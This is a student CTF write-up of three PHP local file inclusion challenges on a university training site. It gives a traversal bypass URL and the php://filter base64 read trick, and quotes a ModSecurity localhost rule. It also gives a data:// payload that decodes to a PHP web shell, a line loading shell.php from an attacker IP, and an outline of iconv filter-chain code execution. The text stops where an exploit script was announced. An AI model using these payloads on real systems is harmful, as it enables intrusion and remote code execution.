This is a series of three tasks, with small deviations between each.

Tl;dr

This series of three tasks, tackle three Local File Inclusion situations. The main take aways are summarized here:

  1. : Simple replacement isn’t enough.
  2. : Php provides filter, that can encode php files, s.t. they are displayed as text (in base64) instead of being executed.
  3. :

This is a rant about PHP, that might helpful in those tasks.

Overview

This is a simple website with no functionalities. It assigns us the following two tasks:

  • Find the vulnerability on the website (which - given the name of the site - should be tremendously difficult)
  • Obtain the contents of /flag.

Code

Apparently it dynamically resolves the file it is supposed to serve from this possible sections: sections    ├── home.php    └── news.php

$path = "sections/home.php";

if (isset($_GET["section"]))
{
	$tmp_path = str_replace('../',  '', $_GET["section"]);
	$tmp_path = str_replace('./', '', $tmp_path);
...

And later includes this file, like this:

    <?php include($TEMPLATE_CONTENT) ?> 

This is important, as it is resolved in a particular way. If the files content turns out to be php parsable (independent of the file extension) it will execute it and insert the result. Otherwise it will print the content of the file itself.

Task php01: File Inclusion v.01

Given the challenge name, this task should be an easy one after the “Tweeter” task :)

Vulnerability

As this argument can resolve to any arbitrary path, that will be accessed we can read arbitrary files from the system. They indeed try to restrict this through replacing ../ and ./ once, but this is not enough, as demonstrated by .....///, which will be parsed to ‘../’

Exploit

We can use this chained several times together to get the flag: https://php01.websec.sec.in.tum.de/?section=.....///.....///.....///.....///flag

Task php02: File Inclusion v.02

I admit, the last challenge was too easy. Let’s try something more difficult with file inclusion!

Difference to Task 01

The only difference here is, that the flag is actually stored indirectly in a flag.php file. So all we need to do is find a way to read that file instead, as usually it is executed, as explained above. The post at the top gives us some handy feauture (for this exploit -> php is weird): PHP has some interesting filters like: php://filter/convert.base64-encode/resource=file.php This gives us the files content in base64 encoding and we can decode it to retrieve the flag.

Task php03: PHP Professional

We fixed it! Finally! (Or not?)

Difference to Task 02

The same task, but now with an apache.conf file?

# Allow admin_id only locally

SecRule ARGS:admin_id "!@within 1" "id:1234,chain,deny,status:403"
SecRule REMOTE_ADDR "!@streq 127.0.0.1"

This is part of Apache HTTP Server config and it introduces two custom OWASP security rules.

Basically it restricts us to access the flag.php file only from localhost: |admin_id|REMOTE_ADDR|Action| |—|—|—| |1|anything|✅ ALLOW (first rule fails, so chain stops)| |Not 1|127.0.0.1|✅ ALLOW (second rule fails, chain breaks)| |Not 1|Not 127.0.0.1|❌ DENY with 403 (both rules match) So we would have to contact the server from within and since the admin does not visit any pages this is going to be very tricky…

After looking a bit further I found this: RCE with php filters

Since allow_url_include was disabled we had less filter options, which made the challenge harder

RCE using PHP Filters

The main goal for getting RCE from LFI is to get some arbitrary content returned by the URL, which is then included and read as PHP code. If you control the start of the URL in some include function, you can use PHP Wrappers to get content from other places than straight from a file. The data:// wrapper for example can return arbitrary content, for example, using the base64 encoding:

PHP wrappers with a shell

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSkgPz4=
http://$YOUR_IP/shell.php

However, in more recent versions of PHP, the allow_url_include= option which enables some of these wrappers is disabled by default. However, there is a really powerful technique that I came across recently found by loknop which combines lots of PHP filters to turn any file into arbitrary PHP code. For this, you only need to have control of the start to allow PHP wrappers, and then have a valid file anywhere to transform into PHP code. But you’ll have a valid file anyway from the default functionality of the site, so this is pretty much a guarantee.

Example vulnerable code

<?php include $_GET["page"] + ".php" ?>

Read the writeup linked above to understand how they found it, but here’s the basic idea:

  • convert.iconv.UTF8.CSISO2022KR will always prepend \x1b$)C to the string

  • convert.base64-decode is extremely tolerant, it will basically just ignore any characters that aren’t valid base64.

Combining these and a lot of convert.iconv to convert between encodings, we can get any arbitrary base64 string that we can decode and include. Here’s the exploit script used to automatically do this for a PHP shell, and then execute commands using it: